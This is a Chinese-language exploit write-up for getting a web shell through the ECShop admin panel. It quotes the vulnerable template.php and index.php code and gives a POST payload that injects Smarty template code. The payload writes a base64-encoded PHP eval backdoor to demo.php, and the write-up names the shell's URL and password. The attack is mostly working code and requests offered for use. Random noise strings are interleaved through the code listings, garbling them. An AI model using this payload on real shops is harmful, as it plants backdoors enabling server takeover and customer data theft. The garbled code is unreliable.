Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')
0 S2 K" ]8 T8 r' s4 r" d* D/ N  g
2   
% l, ^  m4 Y. X" Y! X8 r  Y2 L1 k
: G9 U0 K7 @5 i" z3 {
( K( X7 i# Q& B  R7 Y6 |
4     check_authz_json('library_manage');
3 `/ K1 g, N4 l+ k- ~7 Z( I
5   

$ F$ X0 p% a7 G, p9 }% F, I, C- }  p) F6     $html = stripslashes(json_str_iconv($_POST['html']));

9 a0 L7 n9 X7 @! X- a7   
/ l/ Z; X- U& J( \
* w% N9 L1 h) h  H0 C1 L# q# B8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

7 F; S  j! w0 J! y9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% v' b0 H7 ~% B& ^
11   
' K0 a( c+ C: i6 {& g+ I: [
$ u. G& W. g, N. \: N, H5 i- l12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

( u6 `. H$ C: Z13   
; S- ]6 g6 c1 p( g
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

% x5 a; ^1 R3 B& q- o" [4 [15     {
1 \& D. o) f0 i9 T
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

* h/ c" r! `, h5 g. W  p* F6 k1 Y17         make_json_result('', $_LANG['update_lib_success']);

18     }

( G2 z- t( ?; W3 n8 S3 p19     else

20     {

* y' e- n) l, Y$ H) g21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

" s- Z# W8 m  G7 K9 b; o22     }
! t$ f4 s8 q9 I5 a
23 }

那么找个比较方便调用了模板的文件
index.php

: a+ c0 M0 y$ Q$ S/ r3 f2 y1 if ($act == 'cat_rec')

2   

# \0 M+ Y; @, w/ q3 {

4   

6 b2 m# y; R' A6 b5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
% f0 H4 N/ H, y
6   
. h4 a9 B% `! n! J
( [1 k/ a8 g5 C( e, Z7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
/ g) ^+ C0 X* @: k4 N- c( j$ q
# G& `) ^$ V% }8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

" {, y0 j3 ~2 {" h; G" Q9 F4 J10   

$ S: i) V+ e  i  c; e0 j11     include_once('includes/cls_json.php');
/ ]5 Y2 H/ _7 W6 A3 Y
7 ~1 T9 ]2 a9 Z' U7 {0 Z, ~12   

( a' ~, v+ G& Q/ j" ^% V7 X; H3 K13     $json = new JSON;

& u+ ^" I1 b/ f! B0 e6 G14   

+ U, i1 Y+ ^& W15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
2 l4 v& r9 Z7 s, x- j9 H
17     $children = get_children($cat_id);
6 G1 N8 D7 C) K' a$ y  S. o
18   
1 I5 s9 ]# c- M6 J7 f
( c/ q) P( O" d8 ~' h19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

- m% r/ Z2 u  p20   

$ r; R6 u6 f. j/ Z2 Q- U21     $smarty->assign('cat_rec_sign', 1);

22   
* b) u! j$ G- z
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

  w5 k, p# U; G24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
7 Q! ?# X  y2 i0 d+ v# G
26   
! I0 Q6 q* ]2 B* I  W
27         echo $rec_array[$rec_type];

: ^9 M9 a7 R5 e; ?: c7 K/ C28   

" h9 \7 |5 H% G3 }/ a29     die($json->encode($result));
" g/ Y* D* [; N0 ?  S
30   

; T6 r! [# @/ ~! Z3 x* ]  ]2 s  o31 }

那么就有利用方法了
" |: I$ ?4 f" M& Upost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
: _# t6 B' U: R# u- |$ Y
) }4 _! i" W4 Q7 I3 H​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

( ?% ~0 y9 X; H+ N! j9 _/ z1 E然后访问http://localhost/ec/index.php?act=cat_rec
: V7 R8 |. p# T' X5 r
& {4 L& l& J% D3 Ishel地址：http://localhost/ec/demo.php
8 Y7 c+ f6 I+ g/ _+ v4 K密码c

, }$ [, _$ {' s' ?! B